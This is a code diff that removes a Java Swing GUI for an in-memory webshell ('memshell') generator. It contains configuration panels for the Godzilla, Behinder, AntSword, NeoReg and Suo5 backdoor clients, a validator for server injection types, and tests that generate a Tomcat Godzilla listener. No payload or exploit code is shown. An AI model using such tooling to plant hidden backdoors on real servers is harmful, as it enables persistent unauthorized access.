for (String item : items) combo.addItem(item);
if (selected != null) combo.setSelectedItem(selected);
}
protected void bindText(JTextField field, Consumer<String> setter) {
field.getDocument().addDocumentListener(new DocumentListener() {
@Override
public void insertUpdate(DocumentEvent e) {
changed();
}
@Override
public void removeUpdate(DocumentEvent e) {
changed();
}
@Override
public void changedUpdate(DocumentEvent e) {
changed();
}
private void changed() {
if (updating) return;
setter.accept(field.getText());
}
});
}
protected void applyCommonState(MemShellFormState s) {
updating = true;
try {
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
urlPatternField.setText(s.getUrlPattern());
randomClassNameCheck.setSelected(s.isRandomClassName());
boolean nextManualClassVisible = !s.isRandomClassName();
manualClassPanel.setVisible(nextManualClassVisible);
shellClassNameField.setText(s.getShellClassName());
injectorClassNameField.setText(s.getInjectorClassName());
} finally {
updating = false;
}
}
}
@@ -1,34 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class AntSwordToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setAntSwordPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getAntSwordPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -1,34 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class BehinderToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setBehinderPass);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getBehinderPass());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -1,99 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class CommandToolPanel extends AbstractToolPanel {
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
private final JTextField paramField = new JTextField();
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
private final JComboBox<String> encryptorCombo = new JComboBox<>();
private final JComboBox<String> implCombo = new JComboBox<>();
private final JTextField commandTemplateField = new JTextField();
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
paramRow.add(labeled("参数名(可选)", paramField), "growx");
add(paramRow, "span 2, growx, wrap, hidemode 3");
headerRow.add(labeled("请求头名", headerNameField), "growx");
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerRow, "span 2, growx, wrap, hidemode 3");
add(advancedToggle, "span 2, gapy 2 0, wrap");
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
advancedPanel.add(labeled("实现类", implCombo), "growx");
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(paramField, controller::setCommandParamName);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
bindText(commandTemplateField, controller::setCommandTemplate);
encryptorCombo.addActionListener(e -> {
if (updating) return;
Object item = encryptorCombo.getSelectedItem();
controller.setEncryptor(item == null ? "" : String.valueOf(item));
});
implCombo.addActionListener(e -> {
if (updating) return;
Object item = implCombo.getSelectedItem();
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
});
advancedToggle.addActionListener(e -> {
advancedPanel.setVisible(advancedToggle.isSelected());
revalidate();
repaint();
});
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
: s.getEncryptor();
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
: s.getImplementationClass();
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
boolean nextParamVisible = controller.isCommandParamVisible();
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
if (paramRow.isVisible() != nextParamVisible) {
layoutVisibilityChanged = true;
}
if (headerRow.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
paramRow.setVisible(nextParamVisible);
headerRow.setVisible(nextHeaderVisible);
paramField.setText(s.getCommandParamName());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
commandTemplateField.setText(s.getCommandTemplate());
boolean nextAdvancedVisible = advancedToggle.isSelected();
if (advancedPanel.isVisible() != nextAdvancedVisible) {
layoutVisibilityChanged = true;
}
advancedPanel.setVisible(nextAdvancedVisible);
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -1,131 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
import javax.swing.event.DocumentEvent;
import javax.swing.event.DocumentListener;
import java.awt.event.ActionEvent;
import java.io.File;
import java.nio.file.Files;
import java.util.Base64;
public class CustomToolPanel extends AbstractToolPanel {
private final CustomClassNameParser parser;
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
private final JRadioButton fileMode = new JRadioButton("File");
private final JTextArea base64Area = new JTextArea(4, 40);
private final JButton fileButton = new JButton("选择 .class 文件");
private final JLabel fileLabel = new JLabel("未选择文件");
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
private final Timer parseDebounce;
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
super(controller, refreshAll);
this.parser = parser;
ButtonGroup group = new ButtonGroup();
group.add(base64Mode);
group.add(fileMode);
add(new JLabel("Shell Class"));
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
radioWrap.add(base64Mode);
radioWrap.add(fileMode);
add(radioWrap, "growx, wrap");
base64Panel.add(new JScrollPane(base64Area), "grow");
filePanel.add(fileLabel, "growx");
filePanel.add(fileButton);
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
addRandomClassSection();
parseDebounce = new Timer(400, this::parseAndFillClassName);
parseDebounce.setRepeats(false);
base64Area.getDocument().addDocumentListener(new DocumentListener() {
@Override public void insertUpdate(DocumentEvent e) { changed(); }
@Override public void removeUpdate(DocumentEvent e) { changed(); }
@Override public void changedUpdate(DocumentEvent e) { changed(); }
private void changed() {
if (updating) return;
controller.setShellClassBase64(base64Area.getText());
parseDebounce.restart();
}
});
base64Mode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("base64");
refreshAll.run();
});
fileMode.addActionListener(e -> {
if (updating) return;
controller.setCustomInputMode("file");
refreshAll.run();
});
fileButton.addActionListener(this::chooseFile);
}
private void chooseFile(ActionEvent event) {
JFileChooser chooser = new JFileChooser();
int result = chooser.showOpenDialog(this);
if (result != JFileChooser.APPROVE_OPTION) return;
File file = chooser.getSelectedFile();
try {
byte[] bytes = Files.readAllBytes(file.toPath());
String base64 = Base64.getEncoder().encodeToString(bytes);
controller.setShellClassBase64(base64);
fileLabel.setText(file.getName());
String className = parser.parseClassName(bytes);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ex) {
SwingUiUtil.showError(this, "读取自定义类失败: " + ex.getMessage());
}
}
private void parseAndFillClassName(ActionEvent ignored) {
try {
String base64 = controller.getState().getShellClassBase64();
if (base64 == null || base64.trim().isEmpty()) return;
String className = parser.parseClassNameFromBase64(base64);
controller.setShellClassName(className);
refreshAll.run();
} catch (Exception ignoredEx) {
// ignore parse errors while typing/pasting
}
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
base64Mode.setSelected("base64".equalsIgnoreCase(s.getCustomInputMode()));
fileMode.setSelected("file".equalsIgnoreCase(s.getCustomInputMode()));
boolean nextBase64Visible = base64Mode.isSelected();
boolean nextFileVisible = fileMode.isSelected();
if (base64Panel.isVisible() != nextBase64Visible) {
layoutVisibilityChanged = true;
}
if (filePanel.isVisible() != nextFileVisible) {
layoutVisibilityChanged = true;
}
base64Panel.setVisible(nextBase64Visible);
filePanel.setVisible(nextFileVisible);
base64Area.setText(s.getShellClassBase64());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -1,40 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import net.miginfocom.swing.MigLayout;
import javax.swing.*;
public class GodzillaToolPanel extends AbstractToolPanel {
private final JTextField passField = new JTextField();
private final JTextField keyField = new JTextField();
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public GodzillaToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("密码(可选)", passField), "growx");
add(labeled("密钥(可选)", keyField), "growx, wrap");
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(passField, controller::setGodzillaPass);
bindText(keyField, controller::setGodzillaKey);
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override
public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
passField.setText(s.getGodzillaPass());
keyField.setText(s.getGodzillaKey());
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -1,30 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class NeoRegToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public NeoRegToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -1,42 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class ProxyToolPanel extends AbstractToolPanel {
private final JPanel headerPanel = new JPanel(new net.miginfocom.swing.MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public ProxyToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
headerPanel.add(labeled("请求头名", headerNameField), "growx");
headerPanel.add(labeled("请求头值(可选)", headerValueField), "growx");
add(headerPanel, "span 2, growx, wrap, hidemode 3");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
boolean layoutVisibilityChanged = false;
try {
boolean nextHeaderVisible = controller.isProxyHeaderVisible();
if (headerPanel.isVisible() != nextHeaderVisible) {
layoutVisibilityChanged = true;
}
headerPanel.setVisible(nextHeaderVisible);
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
if (layoutVisibilityChanged) {
revalidate();
repaint();
}
}
}
@@ -1,5 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
public interface RefreshableToolPanel {
void refreshFromController();
}
@@ -1,30 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import javax.swing.*;
public class Suo5ToolPanel extends AbstractToolPanel {
private final JTextField headerNameField = new JTextField();
private final JTextField headerValueField = new JTextField();
public Suo5ToolPanel(MemShellFormController controller, Runnable refreshAll) {
super(controller, refreshAll);
add(labeled("请求头名", headerNameField), "growx");
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
addRandomClassSection();
bindText(headerNameField, controller::setHeaderName);
bindText(headerValueField, controller::setHeaderValue);
}
@Override public void refreshFromController() {
MemShellFormState s = controller.getState();
applyCommonState(s);
updating = true;
try {
headerNameField.setText(s.getHeaderName());
headerValueField.setText(s.getHeaderValue());
} finally { updating = false; }
}
}
@@ -1,12 +0,0 @@
package com.reajason.javaweb.desktop.memshell.util;
import java.awt.*;
import java.awt.datatransfer.StringSelection;
public final class ClipboardUtil {
private ClipboardUtil() {}
public static void copyText(String text) {
Toolkit.getDefaultToolkit().getSystemClipboard().setContents(new StringSelection(text == null ? "" : text), null);
}
}
@@ -1,50 +0,0 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import javax.swing.filechooser.FileNameExtensionFilter;
import java.awt.*;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public final class FileSaveUtil {
private FileSaveUtil() {}
public static void saveText(Component parent, String suggestedName, String content) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter("Text", "txt"));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write((content == null ? "" : content).getBytes(StandardCharsets.UTF_8));
}
}
public static void saveBase64AsBytes(Component parent, String suggestedName, String base64, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
byte[] bytes = Base64.getDecoder().decode(base64 == null ? "" : base64);
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static void saveBytes(Component parent, String suggestedName, byte[] bytes, String extension) throws IOException {
File file = chooseFile(parent, suggestedName, new FileNameExtensionFilter(extension.toUpperCase(), extension));
if (file == null) return;
try (FileOutputStream fos = new FileOutputStream(file)) {
fos.write(bytes);
}
}
public static File chooseFile(Component parent, String suggestedName, FileNameExtensionFilter filter) {
JFileChooser chooser = new JFileChooser();
chooser.setSelectedFile(new File(suggestedName));
chooser.setFileFilter(filter);
int result = chooser.showSaveDialog(parent);
if (result != JFileChooser.APPROVE_OPTION) {
return null;
}
return chooser.getSelectedFile();
}
}
@@ -1,32 +0,0 @@
package com.reajason.javaweb.desktop.memshell.util;
import javax.swing.*;
import java.awt.*;
public final class SwingUiUtil {
private SwingUiUtil() {}
public static JPanel titledPanel(String title, LayoutManager layout) {
JPanel panel = new JPanel(layout);
panel.setBorder(BorderFactory.createCompoundBorder(
BorderFactory.createTitledBorder(title),
BorderFactory.createEmptyBorder(6, 6, 6, 6)));
return panel;
}
public static void showError(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "错误", JOptionPane.ERROR_MESSAGE);
}
public static void showInfo(Component parent, String message) {
JOptionPane.showMessageDialog(parent, message, "提示", JOptionPane.INFORMATION_MESSAGE);
}
public static void runOnEdt(Runnable runnable) {
if (SwingUtilities.isEventDispatchThread()) {
runnable.run();
} else {
SwingUtilities.invokeLater(runnable);
}
}
}
@@ -1,73 +0,0 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import java.util.LinkedHashMap;
import java.util.Map;
public class MemShellValidator {
public static class Result {
private final Map<String, String> fieldErrors = new LinkedHashMap<>();
public boolean isValid() {
return fieldErrors.isEmpty();
}
public Map<String, String> getFieldErrors() {
return fieldErrors;
}
public void add(String field, String message) {
fieldErrors.put(field, message);
}
public String firstMessage() {
return fieldErrors.values().stream().findFirst().orElse("");
}
}
public Result validate(MemShellFormState s) {
Result r = new Result();
required(r, "server", s.getServer(), "请选择服务类型");
required(r, "serverVersion", s.getServerVersion(), "请选择服务版本");
required(r, "shellTool", s.getShellTool(), "请选择内存马工具");
required(r, "shellType", s.getShellType(), "请选择内存马挂载类型");
required(r, "packingMethod", s.getPackingMethod(), "请选择打包方式");
if (needsUrlPattern(s.getShellType()) && isInvalidUrl(s.getUrlPattern())) {
r.add("urlPattern", "请使用具体 URL 路径,不能为 / 或 /*");
}
if ("Custom".equals(s.getShellTool()) && (s.getShellClassBase64() == null || s.getShellClassBase64().trim().isEmpty())) {
r.add("shellClassBase64", "自定义内存马 Class(Base64) 不能为空");
}
if ("TongWeb".equals(s.getServer()) && "Valve".equals(s.getShellType()) && "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "TongWeb Valve 模式需要指定服务版本");
}
if ("Jetty".equals(s.getServer())
&& ("Handler".equals(s.getShellType()) || "JakartaHandler".equals(s.getShellType()))
&& "Unknown".equals(s.getServerVersion())) {
r.add("serverVersion", "Jetty Handler 模式需要指定服务版本");
}
return r;
}
public boolean needsUrlPattern(String shellType) {
if (shellType == null || shellType.trim().isEmpty()) return false;
if (shellType.startsWith("Agent")) return false;
return shellType.endsWith("Servlet") ||
shellType.endsWith("ControllerHandler") ||
shellType.equals("HandlerMethod") ||
shellType.equals("HandlerFunction") ||
shellType.endsWith("WebSocket");
}
public boolean isInvalidUrl(String urlPattern) {
return urlPattern == null || urlPattern.trim().isEmpty() || "/".equals(urlPattern) || "/*".equals(urlPattern) || !urlPattern.startsWith("/");
}
private void required(Result r, String field, String value, String message) {
if (value == null || value.trim().isEmpty()) {
r.add(field, message);
}
}
}
@@ -1,51 +0,0 @@
package com.reajason.javaweb.desktop.memshell.controller;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import java.util.List;
import static org.junit.jupiter.api.Assertions.*;
class MemShellFormControllerTest {
@Test
void shouldAdjustJdkForSpringWebFluxAndResetDependentFields() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServerVersion("Unknown");
controller.setUrlPattern("/abc");
controller.setServer("SpringWebFlux");
assertEquals("52", controller.getState().getTargetJdkVersion());
assertEquals("", controller.getState().getUrlPattern());
assertNotNull(controller.getState().getShellTool());
assertFalse(controller.getState().getShellTool().isEmpty());
}
@Test
void shouldFilterAgentPackersForAgentShellType() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setShellType("AgentFilterChain");
List<?> filtered = controller.getFilteredPackers();
assertFalse(filtered.isEmpty());
assertTrue(controller.getFilteredPackers().stream().allMatch(p -> p.getName().startsWith("Agent")));
}
@Test
void shouldToggleRandomClassNameAndRestoreValues() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setRandomClassName(false);
controller.setShellClassName("a.b.C");
controller.setInjectorClassName("x.y.Z");
controller.setRandomClassName(true);
assertEquals("", controller.getState().getShellClassName());
assertEquals("", controller.getState().getInjectorClassName());
controller.setRandomClassName(false);
assertEquals("a.b.C", controller.getState().getShellClassName());
assertEquals("x.y.Z", controller.getState().getInjectorClassName());
}
}
@@ -1,34 +0,0 @@
package com.reajason.javaweb.desktop.memshell.service;
import org.junit.jupiter.api.Test;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import static org.junit.jupiter.api.Assertions.*;
class CustomClassNameParserTest {
@Test
void shouldParseClassNameFromClassBytesAndBase64() throws Exception {
CustomClassNameParser parser = new CustomClassNameParser();
byte[] bytes = readOwnClassBytes();
String expected = this.getClass().getName();
assertEquals(expected, parser.parseClassName(bytes));
assertEquals(expected, parser.parseClassNameFromBase64(Base64.getEncoder().encodeToString(bytes)));
}
private byte[] readOwnClassBytes() throws IOException {
String resource = "/" + this.getClass().getName().replace('.', '/') + ".class";
InputStream in = this.getClass().getResourceAsStream(resource);
assertNotNull(in);
try (InputStream is = in; ByteArrayOutputStream out = new ByteArrayOutputStream()) {
byte[] buf = new byte[4096];
int n;
while ((n = is.read(buf)) != -1) out.write(buf, 0, n);
return out.toByteArray();
}
}
}
@@ -1,29 +0,0 @@
package com.reajason.javaweb.desktop.memshell.service;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class GenerationServiceTest {
@Test
void shouldGenerateTomcatGodzillaListenerWithBase64Packer() {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
GenerationService service = new GenerationService();
DesktopMemShellGenerateResult result = service.generate(controller.getState().copy());
assertNotNull(result);
assertEquals("Base64", result.getPackMethod());
assertNotNull(result.getPackResult());
assertFalse(result.getPackResult().isEmpty());
assertNotNull(result.getMemShellResult().getShellBytesBase64Str());
assertNotNull(result.getMemShellResult().getInjectorBytesBase64Str());
}
}
@@ -1,56 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui;
import org.junit.jupiter.api.Assumptions;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class MemShellGeneratorFrameLayoutTest {
@Test
void shouldUseStackedLayoutWithoutSplitPaneAndKeepGenerateButton() throws Exception {
Assumptions.assumeFalse(GraphicsEnvironment.isHeadless(), "Headless environment");
final MemShellGeneratorFrame[] ref = new MemShellGeneratorFrame[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
ref[0] = new MemShellGeneratorFrame();
}
});
try {
final JComponent[] contentRef = new JComponent[1];
final JButton[] buttonRef = new JButton[1];
final Dimension[] minSizeRef = new Dimension[1];
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
contentRef[0] = ref[0].getMainContentPanel();
buttonRef[0] = ref[0].getGenerateButton();
minSizeRef[0] = ref[0].getMinimumSize();
}
});
assertNotNull(contentRef[0]);
assertFalse(contentRef[0] instanceof JSplitPane, "main content should not be a JSplitPane");
assertNotNull(buttonRef[0]);
assertTrue(buttonRef[0].isEnabled());
assertNotNull(minSizeRef[0]);
assertTrue(minSizeRef[0].width >= 1180);
assertTrue(minSizeRef[0].height >= 900);
} finally {
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
if (ref[0] != null) {
ref[0].dispose();
}
}
});
}
}
}
@@ -1,71 +0,0 @@
package com.reajason.javaweb.desktop.memshell.ui;
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
import org.junit.jupiter.api.Test;
import javax.swing.*;
import java.awt.*;
import static org.junit.jupiter.api.Assertions.*;
class ResultPanelBasicInfoLayoutTest {
@Test
void shouldUseStructuredNoScrollBasicInfo() throws Exception {
MemShellFormController controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
controller.setServer("Tomcat");
controller.setShellTool("Godzilla");
controller.setShellType("Listener");
controller.setPacker("Base64");
DesktopMemShellGenerateResult result = new GenerationService().generate(controller.getState().copy());
final ResultPanel panel = new ResultPanel();
SwingUtilities.invokeAndWait(new Runnable() {
@Override
public void run() {
panel.showResult(result);
}
});
JComponent basic = panel.getBasicInfoComponent();
assertNotNull(basic);
assertTrue(basic instanceof JPanel);
assertFalse(containsScrollPane(basic), "basic info section should not contain JScrollPane");
assertTrue(containsText(panel, "服务类型"));
assertTrue(containsText(panel, "内存马功能"));
assertTrue(containsText(panel, "注入器类名"));
assertTrue(containsText(panel, "内存马类名"));
}
private boolean containsScrollPane(Component c) {
if (c instanceof JScrollPane) return true;
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsScrollPane(child)) return true;
}
}
return false;
}
private boolean containsText(Component c, String expected) {
if (c instanceof JLabel) {
String text = ((JLabel) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof JTextField) {
String text = ((JTextField) c).getText();
if (text != null && text.contains(expected)) return true;
}
if (c instanceof Container) {
for (Component child : ((Container) c).getComponents()) {
if (containsText(child, expected)) return true;
}
}
return false;
}
}
@@ -1,59 +0,0 @@
package com.reajason.javaweb.desktop.memshell.validation;
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.*;
class MemShellValidatorTest {
private final MemShellValidator validator = new MemShellValidator();
@Test
void shouldRejectGenericUrlPatternWhenRequired() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Servlet");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("urlPattern"));
}
@Test
void shouldAllowNoUrlPatternForListener() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellType("Listener");
s.setUrlPattern("/*");
MemShellValidator.Result result = validator.validate(s);
assertTrue(result.isValid());
}
@Test
void shouldRequireCustomShellBase64ForCustomTool() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setShellTool("Custom");
s.setShellClassBase64("");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("shellClassBase64"));
}
@Test
void shouldRequireJettyVersionForHandler() {
MemShellFormState s = new MemShellFormState();
s.setPackingMethod("Base64");
s.setServer("Jetty");
s.setShellType("Handler");
s.setServerVersion("Unknown");
s.setUrlPattern("/x");
MemShellValidator.Result result = validator.validate(s);
assertFalse(result.isValid());
assertTrue(result.getFieldErrors().containsKey("serverVersion"));
}
}
+3 -2
View File
@@ -29,7 +29,6 @@ tasks.test {
dependencies { dependencies {
implementation(project(":memshell-party-common")) implementation(project(":memshell-party-common"))
implementation(project(":packer")) implementation(project(":packer"))
implementation(project(":thirdparty:thirdparty-tomcat"))
api(libs.byte.buddy) api(libs.byte.buddy)
implementation(libs.asm.commons) implementation(libs.asm.commons)
implementation(libs.javax.websocket.api) implementation(libs.javax.websocket.api)
@@ -38,10 +37,12 @@ dependencies {
implementation(libs.jakarta.servlet.api) implementation(libs.jakarta.servlet.api)
implementation(libs.spring.webmvc) implementation(libs.spring.webmvc)
implementation(libs.spring.webflux) implementation(libs.spring.webflux)
implementation(libs.tomcat.embed.core)
implementation(libs.reactor.netty.core) implementation(libs.reactor.netty.core)
implementation(libs.alibaba.dubbo)
implementation(libs.apache.dubbo)
implementation(libs.jackson.annotations) implementation(libs.jackson.annotations)
implementation(libs.bundles.jna) implementation(libs.bundles.jna)
implementation("org.apache.dubbo:dubbo:2.7.8")
testImplementation(libs.junit.jupiter) testImplementation(libs.junit.jupiter)
testImplementation(libs.hamcrest) testImplementation(libs.hamcrest)
@@ -20,6 +20,6 @@ public class Server {
